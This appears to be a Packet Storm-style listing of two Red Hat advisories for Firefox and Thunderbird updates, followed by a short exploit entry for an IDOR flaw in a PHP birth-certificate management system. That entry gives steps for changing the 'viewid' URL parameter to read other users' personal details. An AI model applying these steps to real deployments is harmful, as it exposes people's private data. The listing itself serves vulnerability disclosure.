BSyUNzdVl2icVGFbXi9u7eU1b30sm7MsA7PvqzJiwpmA9eu8bky23zDGO3TKIEup  
CDxPUlXH9ys=  
=G7Tz  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6703-01

Red Hat Security Advisory 2022-6707-01 - Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. This update upgrades Firefox to version 102.3.0 ESR. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: firefox security update  
Advisory ID:       RHSA-2022:6707-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6707  
Issue date:        2022-09-26  
CVE Names:         CVE-2022-40956 CVE-2022-40957 CVE-2022-40958   
                   CVE-2022-40959 CVE-2022-40960 CVE-2022-40962   
=====================================================================

1. Summary:

An update for firefox is now available for Red Hat Enterprise Linux 8.2  
Extended Update Support.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream EUS (v. 8.2) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Firefox is an open-source web browser, designed for standards  
compliance, performance, and portability.

This update upgrades Firefox to version 102.3.0 ESR.

Security Fix(es):

* Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
(CVE-2022-40959)

* Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
(CVE-2022-40960)

* Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3  
(CVE-2022-40962)

* Mozilla: Bypassing Secure Context restriction for cookies with __Host and  
__Secure prefix (CVE-2022-40958)

* Mozilla: Content-Security-Policy base-uri bypass (CVE-2022-40956)

* Mozilla: Incoherent instruction cache when building WASM on ARM64  
(CVE-2022-40957)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

After installing the update, Firefox must be restarted for the changes to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2128792 - CVE-2022-40959 Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
2128793 - CVE-2022-40960 Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
2128794 - CVE-2022-40958 Mozilla: Bypassing Secure Context restriction for cookies with __Host and __Secure prefix  
2128795 - CVE-2022-40956 Mozilla: Content-Security-Policy base-uri bypass  
2128796 - CVE-2022-40957 Mozilla: Incoherent instruction cache when building WASM on ARM64  
2128797 - CVE-2022-40962 Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3

6. Package List:

Red Hat Enterprise Linux AppStream EUS (v. 8.2):

Source:  
firefox-102.3.0-6.el8_2.src.rpm

aarch64:  
firefox-102.3.0-6.el8_2.aarch64.rpm  
firefox-debuginfo-102.3.0-6.el8_2.aarch64.rpm  
firefox-debugsource-102.3.0-6.el8_2.aarch64.rpm

ppc64le:  
firefox-102.3.0-6.el8_2.ppc64le.rpm  
firefox-debuginfo-102.3.0-6.el8_2.ppc64le.rpm  
firefox-debugsource-102.3.0-6.el8_2.ppc64le.rpm

s390x:  
firefox-102.3.0-6.el8_2.s390x.rpm  
firefox-debuginfo-102.3.0-6.el8_2.s390x.rpm  
firefox-debugsource-102.3.0-6.el8_2.s390x.rpm

x86_64:  
firefox-102.3.0-6.el8_2.x86_64.rpm  
firefox-debuginfo-102.3.0-6.el8_2.x86_64.rpm  
firefox-debugsource-102.3.0-6.el8_2.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-40956  
https://access.redhat.com/security/cve/CVE-2022-40957  
https://access.redhat.com/security/cve/CVE-2022-40958  
https://access.redhat.com/security/cve/CVE-2022-40959  
https://access.redhat.com/security/cve/CVE-2022-40960  
https://access.redhat.com/security/cve/CVE-2022-40962  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYzH0VtzjgjWX9erEAQgniQ/8CCA4KMNvro67ndbv00AxPxKJIbzFRIP5  
B2GFFWQJFZisvpgnU2Nmb8t382AqZdqJZuGJDVBAEkPZ/KQHMD9KiE0Ucb2gxAk0  
YT/4TSk9o5aY3S577yblz7YbvUXKXclaa+pECwui77GLr+G9HO7q/CT1PKDQlSSM  
CVjjvdASJSbnjZwuLHzzvsItSyGFHB605e6eKq92QDP90bFxAhNrXVGjJU0zLhE/  
c8eIpp0NVOnz2nCUf/SrsqiADYMQyyBHdwVB+7PsmJ2NsB2gj8cqI2rOJ5r10mr3  
bC5SMK1LbX4ha7iw99WU/5Z5VFnxq4dPJK4wAhBwUscb1iHUBU6UDTclTJxPgarY  
YcRs+GTgppP8dbq8/5SuU78we3OeDiJW+7CZeuA5B9DgR6hOkSL9xtusYAhQmnE1  
OOlgxe31RVaBON/5TjQqrSKn8wq4ijbOaLKCQszfLG4rz+bGjBsR7vfCWzt3QZ6Q  
1C8/BJpRpl5cujcWxvc/FT0x3J2nKUuL8g3OM5zvJdskibsZIyHCoi4yU0+KrKJZ  
ZAw3FRPXahXkTG97Ua9Xd4CwRHSrmNxxjA8Za1FV/daRTPkcFG4e0+EdOaAynT7V  
Wcm4ypDVL60VCnqupiuIkRImLumECzysaPQfA1E1MyXdq2aFMHtRWCC8NQA2QT0k  
SoINctHlA4U=  
=/8E1  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6707-01

Red Hat Security Advisory 2022-6708-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 102.3.0. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2022:6708-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6708  
Issue date:        2022-09-26  
CVE Names:         CVE-2022-3032 CVE-2022-3033 CVE-2022-3034   
                   CVE-2022-36059 CVE-2022-40956 CVE-2022-40957   
                   CVE-2022-40958 CVE-2022-40959 CVE-2022-40960   
                   CVE-2022-40962   
=====================================================================

1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 102.3.0.

Security Fix(es):

* Mozilla: Leaking of sensitive information when composing a response to an  
HTML email with a META refresh tag (CVE-2022-3033)

* Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
(CVE-2022-40959)

* Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
(CVE-2022-40960)

* Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3  
(CVE-2022-40962)

* Mozilla: Remote content specified in an HTML document that was nested  
inside an iframe's srcdoc attribute was not blocked (CVE-2022-3032)

* Mozilla: An iframe element in an HTML email could trigger a network  
request (CVE-2022-3034)

* Mozilla: Matrix SDK bundled with Thunderbird vulnerable to  
denial-of-service attack (CVE-2022-36059)

* Mozilla: Bypassing Secure Context restriction for cookies with __Host and  
__Secure prefix (CVE-2022-40958)

* Mozilla: Content-Security-Policy base-uri bypass (CVE-2022-40956)

* Mozilla: Incoherent instruction cache when building WASM on ARM64  
(CVE-2022-40957)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2123255 - CVE-2022-3032 Mozilla: Remote content specified in an HTML document that was nested inside an iframe's srcdoc attribute was not blocked  
2123256 - CVE-2022-3033 Mozilla: Leaking of sensitive information when composing a response to an HTML email with a META refresh tag  
2123257 - CVE-2022-3034 Mozilla: An iframe element in an HTML email could trigger a network request  
2123258 - CVE-2022-36059 Mozilla: Matrix SDK bundled with Thunderbird vulnerable to denial-of-service attack  
2128792 - CVE-2022-40959 Mozilla: Bypassing FeaturePolicy restrictions on transient pages  
2128793 - CVE-2022-40960 Mozilla: Data-race when parsing non-UTF-8 URLs in threads  
2128794 - CVE-2022-40958 Mozilla: Bypassing Secure Context restriction for cookies with __Host and __Secure prefix  
2128795 - CVE-2022-40956 Mozilla: Content-Security-Policy base-uri bypass  
2128796 - CVE-2022-40957 Mozilla: Incoherent instruction cache when building WASM on ARM64  
2128797 - CVE-2022-40962 Mozilla: Memory safety bugs fixed in Firefox 105 and Firefox ESR 102.3

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
thunderbird-102.3.0-3.el8_6.src.rpm

aarch64:  
thunderbird-102.3.0-3.el8_6.aarch64.rpm  
thunderbird-debuginfo-102.3.0-3.el8_6.aarch64.rpm  
thunderbird-debugsource-102.3.0-3.el8_6.aarch64.rpm

ppc64le:  
thunderbird-102.3.0-3.el8_6.ppc64le.rpm  
thunderbird-debuginfo-102.3.0-3.el8_6.ppc64le.rpm  
thunderbird-debugsource-102.3.0-3.el8_6.ppc64le.rpm

s390x:  
thunderbird-102.3.0-3.el8_6.s390x.rpm  
thunderbird-debuginfo-102.3.0-3.el8_6.s390x.rpm  
thunderbird-debugsource-102.3.0-3.el8_6.s390x.rpm

x86_64:  
thunderbird-102.3.0-3.el8_6.x86_64.rpm  
thunderbird-debuginfo-102.3.0-3.el8_6.x86_64.rpm  
thunderbird-debugsource-102.3.0-3.el8_6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-3032  
https://access.redhat.com/security/cve/CVE-2022-3033  
https://access.redhat.com/security/cve/CVE-2022-3034  
https://access.redhat.com/security/cve/CVE-2022-36059  
https://access.redhat.com/security/cve/CVE-2022-40956  
https://access.redhat.com/security/cve/CVE-2022-40957  
https://access.redhat.com/security/cve/CVE-2022-40958  
https://access.redhat.com/security/cve/CVE-2022-40959  
https://access.redhat.com/security/cve/CVE-2022-40960  
https://access.redhat.com/security/cve/CVE-2022-40962  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYzH0TNzjgjWX9erEAQiB3RAAkahXHjRspQ+guIITh2rYcmBoQL3GvQZd  
XEI1V8Dk6rnjdt/+6FgYgfggr+73qIj/1/qGYoJofdAPLRUd1pvUTRixC+emHE+W  
iVgo/URHjOBqkMRmc4wUjLkb0xn/voirDTooLAx7opbhzT5FPRAEitGYUbWsI7l2  
9r2f7CJS4sYu/PA3bEm0I+EJDNAHZuL9+9mmbRQNNHT/vwT9R66jdqoZY8wbpvL6  
T899ruuHWEuorCvhsdBsL2BHPxYDQFASlKvkXppPQFjNy09GvmfgbSci//Foy3Uf  
1Sl22PV6QxI+haIg/SWhzrFUQRQpfRtrn5v8Y47yRiqXsat0Zpgn7xcLey/fW4Kj  
rchBJXtvm4lQZwow7Dim/6YdLXsXl0btf9VuV5275qOm5ywYYzUg/f5bDSDLY7Cu  
lfsFo1AybY9TYnzGhL7bTrKZuW/jMHa8T2ftD3LhTudG+VOO2zBepXR1/bH7SYUE  
jndbovr8vpws34oQsSUeTKsd/u9jUJ683IG3G875BmtcxfnA7fBDy8yZ3SB1l+2Q  
8AobvEi/5c+zcXoUirub3X+fxEA/VKjwHUNEYLif3p8DVBNiCTQot1KHHbTxGgKf  
1vMEOdptvYDiZm8l0AZOag/Ew1Fc2PZIhI8JBoDWPc/JNqxSz6V0pzNi0iEGLJL+  
rbfDeg3UhFQ=  
=Gluw  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-6708-01

Online Birth Certificate Management System version 1.0 suffers from an insecure direct object reference vulnerability.

    # Exploit Title: Online Birth Certificate Management System - Insecure Direct Object Reference (IDOR)# Google Dork: N/A# Date: 2022-9-27# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11# Vendor Homepage: https://www.sourcecodester.com/php/15683/online-birth-certificate-management-system-php-free-download.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/OBCMS.zip# Tested on: windows 11 - XAMPP# CVE : N/A# Version: 1.0Vulnerability Details======================Steps :1) Log in to the application after register new userUsername: testPassword: 123452) Navigate to Birth Reg Form and Click on Manage Details and click any Birth number.3)In /OBCMS/user/view-application-detail.php?viewid=1, modify the id Parameter to View birthreg details,First Name, Phone number, and other data

Source

Packet Storm